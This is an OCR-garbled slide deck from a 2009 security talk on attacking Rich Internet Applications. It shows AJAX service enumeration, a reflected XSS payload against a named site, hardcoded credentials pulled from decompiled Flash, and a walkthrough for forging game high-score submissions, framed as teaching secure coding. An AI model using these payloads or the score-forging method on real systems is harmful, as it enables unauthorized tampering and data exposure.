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I Now Hear This

3

13 April 2009

Hacking I s
1 | | egal

You shoul d
only try
this at hone
on your own
code

| encour age
you to think
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I Now Hear This

BUT...

Rich | nternet Apps
are taking over

Pendul umis too
far to
functionality

Security is nore
| mportant now
t han ever

Devel opers are
writing terrible
code

...and the bad guys
are maki ng noney
of f your fl aws

4 13 April 2009 invent



I Define: R.I.A.

Ask W ki pedi a...

Rich Internet applications (RIAs) are web
applications that have sone of the
characteristics of desktop applications,
typically delivered by way of
a proprietary web browser plug-ins or

| ndependently via sandboxes or virtual
machi nes

5 13 April 2009
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I Browser Overcrowding

7

The browser’s main purpose was to
render HIM....and scripting
| anguages...

RIA via plug-ins...
enhance user experience

push additional functionality to the
br owser

.mgrate server function to desktop
RIA 1s a straight-on disaster!

13 April 2009 (ép]ﬂ
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Why the Browser?

Moving server-side functionality to the client is

causing... challenges for security

 Exposed APIs (a la AJAX)

* Client-side logic

* Visual technologies add scripting
* Client is defenseless

* Client can be 100% manipulated

Does this mean RIA is 100% bad?

e YOU decide...

8 13 April 2009
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I First a Word on RIA

10

Rich Internet Applications do not
Produce a new class of vulnerabilities
Make it 1 npossible to secure the code

Rich Internet Applications do
Create a nmassive new attack surface
Potentially make snmall|l codi ng m st akes
epi c
Move server-side (hidden) function to the
client (exposed)

13 April 2009
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I Target: AJAX

W ki pedi a definition:

AJAX (Asynchronous JavaScript and XM.), IS a

11

group of interrelated web

devel opnent techniques...Wth A ax, web
applications can retrieve data from

t he server asynchronously in the background
W thout interfering wth the display and
behavi or of the existing page

nnnnnn
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AJAX at 50,000ft

12

Appl i cation Logic noved out to the
client

Allows for a rich user experience

No full-franme browser refreshes
Only pieces of the “page” have to refresh

Asynchronous fetch

No need to send...wait...render anynore!
User -1 ndependence

Data fetched as needed by the framework

Goes way beyond boring HTM
Hi ghly interactive applications
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I Target: AJAX

‘

HIDDEN
Component

User Sends a Request

Server Replies with Data

User’s Browser

HIDDEN
Component
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I Target: AJAX
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AJAX is really neat...

LET’S USE THIS TO OUR
ADVANTAGE!

nnnnnn



I Target: AJAX

XMLHt t pRequest (bj ect
Part of the DOM API

npl enented differently I n each
Or owser

nteract directly wth web server
No need for user 1 nteraction

Modi fy the active docunent w t hout
rel oading the entire page

nnnnnn
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Target: AJAX

Exanpl e: MapQuest.com
Scrolling through the nap...
Browser nakes requests for you

http://ww. mrapquest. conmidw/call/pl aincal |/ HomeFor nSer vi ce. ge
t Weat her Sunmary. dw

http://ww. mrapquest.comidw/call/plaincall/AdServi ceProxy. mak
eAdCal | . dwr

Browser auto-fetches requests
w t hout your | nput
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I Target: AJAX

Let’ s dissect what’'s goi ng on...

http://ww. mapquest.conidw/cal |/ plai ncal |/ HomeFor nServi ce. get \Wea
rthersunmary. dw

http://ww. mapquest.conmdw /cal |/ plaincall/AdServi ceProxy. makeAdC

ar . dw
http://ww. mapquest.conmldw/cal |/ plaincall/AuthService. aut oLogi n.
awr

At | east 3 exposed services
HoneFor nSer vi ce
AdSer vi cePr oxy
Aut hSer vi ce

Exposed functions

HomeFor nSer vi ce - get Weat her Sunmary
AdSer vi ceProxy -2 nakeAdCal |
Aut hServi ce - autolLogin
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I Target: AJAX

http://ww. mapquest.com dw/call/plaincall/H
onmeFor ner vi ce. get Weat her Sunmar y. dw

POST dat a

cal | Count =1 page=/ httpSessi onld= scri pt Sessi onl d=sessi onl d639 cO-
scri pt Nanme=HoneFor nSer vi ce cO0- met hodNane=get Weat her Summary c0-i d=0 cO-
el=nunber: 42. 103298 cO0-e2=nunber: -88. 372803 c0-e3=null:null cO0-e4=null:null cO-
eb=string: Gl berts c0-e6=string:1L cO-e7=null:null cO0-e8=string:US c0-e9=string:CITY
c0- paranD=Cbj ect _(bject: {l atitude: reference: c0-el, |ongitude:reference:c0-e2,
id:reference: cO-e3, addressLinel :reference:c0-e4, city:reference: c0-eb5,
state:reference: cO-e6, postal Code:reference:c0-e7, country:reference :c0-e8,
geocodeQual ity: reference: c0-e9} batchl d=0

Response set

[ | #DWR- | NSERT // #DWR- REPLY var
s0={}; s0. dewPoi nt =nul | ; sO. dewPoi nt Uni t s=nul | ; s0. forecasts=nul | ; sO. hum di ty=nul | ; sO. hu
mdityUnits
=nul | ; s0.icon="http://deskwx. weat her bug. com’ i mages/ For ecast/i cons/ cond002. gi f"; sO. nam
e=nul | ;s0O.shortTitle ="Partly
Cl oudy"; s0. station=nul |l ;sO.tenperature=47.0;s0.tenperatureUnits="F";s0.w ndDirection=
nul I ;sO . w ndSpeed=nul | ; sO. wi ndSpeedUni t s=nul | ; s0O. zi p="60102";
dwr . engi ne. _renot eHandl eCal | back(' 0',"' 0", {dat a: sO, detai |l Code: nul |l ,errors:null, statusC

ode: " SUCCESS"}) ;
A
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Target: AJAX

20

How woul d you approach the previous
exanpl e?
Enunerate as nany services as possible
| dentify as many net hods as possible
Push various data sets to gleamresults

Let’s do a practical exanpl e!
Fi r eFox
Fi rebug
Favorite intercepting proxy
RAW http editor ‘D)
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Example: MapQuest

Let’s search for cheap gas!

Qur proxy captures this interesting request...

http://gasprices. mapquest.com 80/ searchresults.jsp?se
arch=true&l ati tude=&I ongi t ude=&gasPri ceType=3%R2C4%R2
C5&addr ess=5260+nor ni ngvi ew+dr i ve&ci t y=hof f man+est a
t es&st at eProvi nce=l L&post al Code=99999&r adi us=0&br an
d=&sort O der =2

Let’s analyze that a little further...
can we nmani pul ate 1t sonehow?
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I Example: MapQuest

RAW Request

GET

/ searchresul ts.jsp?search=true&l atitude=& ongi t ude=&gasPr i =39 9
60+nor ni ngvi ewtdr i ve&ci t y=hof f man+est at es&st at ePr ovi nce=l

brand=&sort Order=2 HITP/ 1.1
Host: gaspri ces. mapquest.com

User-Agent: Mozilla/5 0 (Wndows; U Wndows NT 5.1; en-US; rv:1.9
Gecko/ 2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)

Accept: text/htm ,application/xhtm +xm , application/xm ;q=0.9,*/*;
Accept - Language: en-us, en; g=0.5

Accept - Encodi ng: gzip, deflate

Accept - Charset: |SO 8859-1,utf-8;9=0.7,*;9=0.7

Keep-Al'i ve: 300

Referer: http://gasprices. mapquest. com

Cooki e: | ocationhistory="{42109700 -88366667 ADDRESS {182 Charleston Ln} Glberts IL

60136-8027 {} US {} {} 6} {41886820 -87627118 ADDRESS {35 E Wacker Dr} Chicago IL

60601-2314 {} US {} {} 6} {42103298 -88372803 CITY {} Glberts IL {} {} US {} {} 6}

{41682800 -88351402 CITY {} Oswego IL {} {} US {} {} 6}"; s_cc=true;

s_sg=aol wpnq%2Caol svc¥BD¥2526pi d¥253Dgaspri ces¥@52520%25253A%252520gaspri ces¥@252520%2

5253A%252520gaspri cesweb. home%2526pi dt ¥253D1%25260i d¥253Df uncti ononcl i ck%252528event %

2525299%25257B%®252520%252520docunent . get El ement Byl d%252528%252522sear ch%252522%252529.

val ue%25253Dt r ue%@25253B%@25257D%@25260i dt ¥253D2%25260t ¥253DI MAGE;

t sessi on=Pl hFWKOcnh1KzUH X8nB+08ZJ1bY=

() |

22 13 April 2009 in ven 4
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I Example: MapQuest

23

Sinmple script injection!

Origi nal :
http://gasprices. napquest. com searchresults.|sp?sea
rch=trueé&l atitude=& ongi t ude=&gasPri ceType=3, 4, 5&ad
dr ess=5260+nor ni ngvi ew+dr i ve&ci t y=hof f man+est at es&s
t at ePr ovi nce=I L&post al Code=60192&r adi us=0&br and=&so
rt O der =2

Mani pul at ed:
http://gasprices. napquest. com searchresults.|sp?sea
rch=trueé&l atitude=& ongi t ude=&gasPri ceType=3, 4, 5&ad
dr ess=5260+nor ni ngvi ew+dr i ve&ci t y=hof f man+est at es&s
t at ePr ovi nce=I L&post al Code="><fr ane
src=http://googl e.conp</ifrane><scri pt>al ert (docune
nt. cooki e) </ scri pt >&r adi us=0&br and=&sort Or der =2#939
36520642628051000
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I Example: MapQuest
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| Thoughts: AJAX

©J Firebug - Deal or No Deal

File Wiew Help

Inspect Clear Al HTML 55 Jff | XHR | Images Fiash }

Console HTML (€SS Script] DOM [ Net~ J

Use FireBug - look for

(&

Params Headers

Response Headers

Date

Server

Vary
Content-Encoding
Connection
Transfer-Encoding
Content-Type

Via
Proxy-Connection

Request Headers

Host
User-Agent

Accept
Accept-Language
Accept-Encoding
Accept-Charset
Keep-Alive
Proxy-Connection
X-Reguested-With
X-Prototype-Version
Referer

Cookie

NET -> XHR requests 658ms

1.05s

Response

Fri, 03 Rpr 2405 16:13:28 GMT
Zpache/2.2.3 |CentlS)
Accept-Encod

gzip Enumerate exposed

close =
—— services and APIs

text/xml
1.1 5BT
Feep-Rliwve

WWW.Birplay.com

Mpozille/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1l.9.0.8) Gecko/2009032&09 Firefox/3.0.8 (.NET CLR
3.5.30729)

text/javascripc, textshiml, spplicationsxml, TexcgwmI, =g

AJAX is everywhere...

en-us, en,
gzip, def!
I30-5253-
300
keep-alil
HMLHttpRt
1.6.0
http:/ /™
Covote—I;

0 requests

learn to spot it

|

=true&nolocked=true&novisible=true&nopractice=true&aga
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Let’s shift gears

ADOBE FLASH! [SWF]
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Q]
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I Target: Flash

Wiat do we know about a fl ash
obj ect ?
Conpi | ed obj ects (not hunman-readabl e)

Bi-directional nultinmedia stream ng and
presentation (audi o/ vi deo)

Scriptable functionality via ActionScri pt

Being used to build highly interactive
applications

Secure
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Target: Flash

Hack Fl ash? Wy?

FREE st uff

“Billy wins a cheezeborger”
http://ww. yout ube. com wat ch?v=_bH GD3qUVg

St eal dat a(bases)

Dat abase access from fl ash!
http://code. googl e. cont p/ assql /

“asSQL is an Actionscript 3 Mysgl Driver ained towards
AR projects to all ow Mysql database connectivity
directly from Acti onscript”

Steal confidential infornmation
H dden passwords? Secret URLs...etc!

29 13 April 2009
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Target: Flash

Fl ash 1s sem -transparent

You can deconpile it! (nostly)

Many good de-conpil ers exi st

SWFScan (HP's free tool):

https://h30406. ww3. hp. coml canpai gns/ 2009/ wwcanpa
| gn/ 1- 5TUVE/ | ndex. php?key=sw

FI ash de-constructor resources:
http://tinyurl.com cgbkgn

Source code reveal s secrets
Peopl e hi de passwords
Dat abase connection strings

Encryption keys
.etcl

Q]
30 13 April 2009
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I Target: Flash

Googl e’ ing for good flash to exam ne
Query: 1nurl:login filetype:sw
Query: 1nurl:play filetype: sw

FasH] CLICK TO PLAY! O score time left 0 0 score time left 30 0 score ...

File Format: Shockwave Flash

3. 0. score. time left. 2. 0. score. time left. 1. PLAY AGAINT SEND. 0. ¥YOU SCORED. First
Mame: Congratulations High Score! Your Email: ...

play.sockandawe comflash/shoetinggallery.swf - Similar pages -

FLasH | 10 loa load loadi loadin loading Production play it again Kids ...

File Format: Shockwave Flash

| lo loa load loadi |IIIEIE|IFI Inadmg Production play it again Kids! Hang in there, Almost there. ..
Toothy Knogigs god The farget to Floss! ..

spoznajigry §1-Spin%20Fun mEDKnuwing%EﬂYﬂ swf - Similar pages -
FLasH) 05% ROUND OVER TOTAL - BONUS - SCORE - SCORE - TOTAL -Thisisa ...

File Format: Shockwave Flash
05% ROUMD OVER TOTAL - EIONLIS SCDRE SCORE - TOTAL - This is a blg dea Hit 69
= HIT SPACE BAR TO ..

FLasi LOADING - FREEONLINEGAMES.COM GAMES.COM ...

File Format: Shockwave Flash

LOADING. - FREEONLINEGAMES.COM. GAMES.COM. ONLINE. FREE. 0. You _::
Restart ;- Play More Games. - Unbeaten. Zoran Primorak ...

www._thatwasrandom.com/play/swfitabletennis.swf - Similar pages - m
31 13Apr||2009 invent




Target: Flash

Sonetines...you get this

<SNI P>
on (rel ease, keyPress '<Enter>') {
if (password eq 'Devlin778") {

get URL(' http://ww. SomeConpany.tld/client pages/ CUSTOVER REMOVED/ 778. ht m

} else {
i f (password eq ' Magi nness781') {

get URL(' http://ww. SomeConpany.tld/client pages/ CUSTOVER REMOVED/ 781. ht m
)

} else {
if (password eq '783-1") {

get URL(' http://ww. SomeConpany.tld/client pages/ CUSTOVER REMOVED/ 783. ht m

} el se
</ SNI P>

Q]
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I Target: Flash

And 1f you' re | ucky...

private static function query(arg0: String, argl:flash.events::EventD spatcher = null)

{
st = null;
token = null;
statenment = argO;
di spat cher = argl;
trace("2: WSQ Query: " + statement);
i f(this.connection == null)
{

try {

t hi s. connecti on = new Connection(irrcrpt("dqgurjudgh.frp”, 3), 3306, irrcrpt("icog_ngi kp",
2), irrcrpt("dlsudy", 1), irrcrpt("jdph", 3));

} catch (e:SecurityError) {
var locl:* = e;
statenent = null;
Al ert.show st at enent. nessage, "Security Error");
i f(di spatcher)

{

di spat chEvent (new Event (Event. CANCEL) ) ;
}
return;

| Q]

33 13Apri| 2009 invent



I Target: Flash

pwning in a Flash
D scovery
search, i1dentify target

Deconpi | e/ deconst r uct

Critical to get a good deconpil er
There is a HUGE difference

Pull out all ActionScript
Anal yze

Repur pose | reconstruct
Exploit...

34 13 April 2009
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Target: Flash

Not

SWFScan 1s thorough!

19 obj ect source files
1. 02Mo t ot al

] 5248.5wf -
] 5248.8mf -
] 5248.8mf -
] 5248.5mf -
| 5248.8mf -
] 52488 -
] 5248.5mf -
] 5248, 50 -
] 5248, 5mf -
] 5248.5mf -
] 5248, 50 -
] 5248, 5mf -
] 5248.8mf -
] 5248, 5mf -
] 5248, 8mf -
] 5248.8mf -
] 5248.5mf -
] 5248.8mf -
] 5248.8mf -

all de-compilers are alike

Bow2D. Collision.as

Box 2D, Collision, Shapes.as
Box2D.Comman.as
Box2D.Common.Math.as
Eox2D.Dynamics.as
Box2D.Dynamics.Contacts.as
Box2D.Dynamics, Joints.as

ca.j2x. flash.as

ca.j2u.flash.lang.as

ca.j2x. flash.util.as

com. kongregate. as3.dient.as

com. kongregate.as3.dient.events.as
com. kongregate. as3.dient. services.as
com.madema.loaging as
com.macdlema.mysgl.as
com.madema.mysqgl.events.as
com.macema.uti.as

Global.as

Preloader.as

35 13 April 2009

Flare isn’t...

1 object source file
2kb total code

AS File

AS File e e e
AS File o
AS File

AS File

AS File

AS File

AS File

AS File

AS File

AS File

AS File

AS File

AS File

AS File

AS File

AS File

AS File

Q]
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Target: Flash

36

You’ ve got source, now what ?

Look for interesting things
Dat abase connection strings
Connection constructors (sendi ng data)
Password val i dation
“H dden” data (coupon codes, options)

Re- pur pose t he code

Create an application as a front-end to DB
Create a “push button and wi n” gane
Q her less evil alternatives...
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I Target: AdultSwim

Let’s check out a gane

“Zonbi eHooker Nl ght mare” from
Adul t SW m com

Pur pose:
Get the high score, get on TV (fane)

Appr oach:
Downl oad, deconstruct, FTW

37 13 April 2009
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I Target: Adult Swim

Acqui re Target ...

GET / adul t sw m ganes/ hs/ zonbi ehooker ni ght mar e/ gane. swf HTTP/ 1.1
Host: i.adultswi mcom

User-Agent: Mozilla/5.0 (Wndows; U, Wndows NT 5.1; en-US; rv:1.9.0.8)
Gecko/ 2009032609 Firefox/3.0.8 (. NET CLR 3.5.30729)

Accept: text/htm ,application/xhtm +xm , application/xm;qg=0.9,*/*;q=0.8
Accept - Language: en-us, en; g=0.5

Accept - Encodi ng: gzi p, defl ate

Accept -Charset: |SO 8859-1,utf-8;9=0.7,*;9=0.7

Keep- Ali ve: 300

Referer:
http://ww. adul t sw m coml ganes/ gane/ i ndex. ht M ?ganme=zonbi ehooker ni ght mar e
Cooki e: s _cc=true; s_sq=%B%BB%D¥%D;, s vi=[CS]vl| 49D6898000004868-
A3A083600000AB6[ CE] ;

adDEmas=R00&hi &sbcgl obal . net &73&usa&602&60601&14807&UL&MLE&L05&;
adDEon=t r ue

Q]
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I Target: Adult Swim

Di sassenbl e
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I Target: Adult Swim

Wade t hrough tons of code

J game,swf - breakable_objects_fla.as 2KE AS File

J game,swf - com.liqguable.data.as 1KE AS File

J game.swf - com.liguable.game.as 17KE  AS File

J game.swf - com.liqguable.game.astar.as SKB AS File

J game.swf - com.liquable. game. camera.as TKE ASFile

J game.swf - com.liguable. game.debug. as 11KE AS File

J game.swf - com.liguable. game.events.as 3KE AS File

J game.swf - com.liquable.game.geom.as 7KE  ASFile

J game,swf - com.liguable.game. postoffice.as 14KE ASFile 2 | f. |
J garne.swf - com. liquable.garme. tiledmap.as 41KB AS File ® 8 Il.oll.a I eS
J game.swf - com. liquable. game. tledmap.events.as IKE  ASFile

J game.swf - com. liquable. game. tledmap.resources. as 27KE  ASFilz

J game.swf - com.liguable. game. tiledmap.resources. events.as IKB ASFile
ﬂgame.swf-u:u:um.liqual:ule.game.ui.as 12KE AS File .59] Kb Of SOU rce
3 KB

J game.swi - com,liguable. media. as AS File
J game.swf - com.liguable. statemachine.as 5KE AS File
J game.swf - com.liqguable. utils.as 16 KB AS File
J game.swf - com.liguable. visualstack. as SKE AS File
J game.swf - combos_fla.as 1KE AS File
J game.swf - Global.as I53KE  AS File
J game. zwf - HUDO1_fla.as KB AS File
J game.swf - ib_decomposedZombie_fla.as 4KB AS File
J game. swi - ib_genericZombie_fla.as IKE  ASFile
J game,swf - lib_lola_fla.as 18KE AS File
J game.swf - lib_purple_decomposedZombie_fla.as 6KB AS File
J game.swf - ib_thrownWeapon_fla.as 1KE AS File
J game.swf - lib_trailer_fla.as IKE ASFile

J game.swf - screens_fla.as 6KB ASFie [ép]®
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Target: Adult Swim

Yaht zee

public static function submt(arg0O: String, argl: Nunber) : String
{
strURl = ExternalInterface.call("getLittleServer");
nGanel d = ganel D
nScore = score,
nTime = External Interface.call("getSrvrTinme");
strTime = toString();
strNl = substr(253, 3);
strN2 = substr(252, 3);
nl = parselnt(strNl);
n2 = parselnt(strN2);
nAlgo = nl * n2 * nScore + nScore;

strToPass = nGneld + "," + nScore + "," + nTine + "," + nAl go;
encrypted_data = MD5. hash(strToPass);
subm ssion_data = "score=" + nScore + "|ganeld=" + nGneld + "|tinmestanp=" + nTine +

"| key=" + encrypted_dat a;
vari abl es = new URLVari abl es();
variables.attrl = subm ssion_dat a;
request = new URLRequest (strURl);
request.data = vari abl es;
navi gat eTOURL(request, " _self");
return subm ssi on_dat a;

Q]
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I Target: Adult Swim

VWhat does this function tell us

Everything we need to know to get the
“hi gh score” posted to the server

“Faki ng” a high score
Pick a high score you want
Run the function
Submt a fake score
FTWP
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I Target: Adult Swim

FTW

43

Focus:

subm ssion _data = "score=" + nScore + "|ganeld=" +
nGneld + "|tinmestanp=" + nTine + "|key=" +
encrypted data

Generate encrypted data

nl = parselnt(strNl);

n2 = parselnt(strN2);

nNAlgo = nl * n2 * nScore + nScore
encrypted data = MD5. hash(strToPass);

strToPass = nGneld + "," + nScore + "," + nTine + ","

nAl go;
Send string to server!

GET / hi ghscores/ Subm t ScoreServl et. do?attrl=score...

13 April 2009

nnnnnn



I Target: Adult Swim

VWhat 1t looks |1 ke on the wre

GET
/highscores/SubmitScoreServlet.do?attr1=score%3D5090%7Cgameld%3D1855%7Ctim
estamp%3D1238800280000%7 Ckey%3D352f27285674930a0257bdeObae32f82
HTTP/1.1

Host: highscores.adultswim.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609
Firefox/3.0.8 (.NET CLR 3.5.30729)

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,* /*,9=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: 1SO-8859-1,utf-8;,g=0.7,*;9=0.7

Keep-Alive: 300

Referer: http://www.adultswim.com/games/game/index.html?game=zombiehookernightmare

Cookie: <cookie stuff>
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Target: Flash

Lessons | ear ned?

Don't store sensitive infornmation iIn
Fl ash obj ects

When deconstructing, get a good
deconpl i | er

Renenber ...encryption only works when the
key 1's actually secret

Know what to | ook for when auditing
For flash...stick to ganes/video
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I Wrapping Up

Rich Internet Applications [RIA] are
dangerous i1 f m sunder st ood

RIA: bottom /|1 ne

NO additional vulnerability types
MASSI VE additional attack surface

The client 1s never a safe place

Dont | earn to hack, hack to | earn

47 13 April 2009
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Seriously, Though

|t’s all about RI SK...

Can you quantify RIA - f (risk)?

What are the conponents of risk?

Look beyond vul nerabilities
Change your point of view
Learn a different |anguage

Bottom Line: If you tal k, does nmanagenent
under st and you?
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Speci al thanks to everyone who
submtted I deas and voted on
“Nane That Tal k”...and the

W nner 1 S-

ZACH LANIER — AKA “QUINE”

ZACH RUNS “SECURITY TWITS” ON TWITTER...
FOLLOW @QUINE TO GET IN ON GREAT INFOSEC NEWS...

13 April 2009

nnnnnn



Special Thanks
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Rafal Los - “Raf”

HP/ASC - Security Evangelist & Solution Architect
Twitter: hitp://twitter.com/Rafallos

Main Blog: http://preachsecurity.blogspot.com
HP Blog:_http://www.communities.hp.com/securitysoftware/blogs/rafal I

13 April 2009



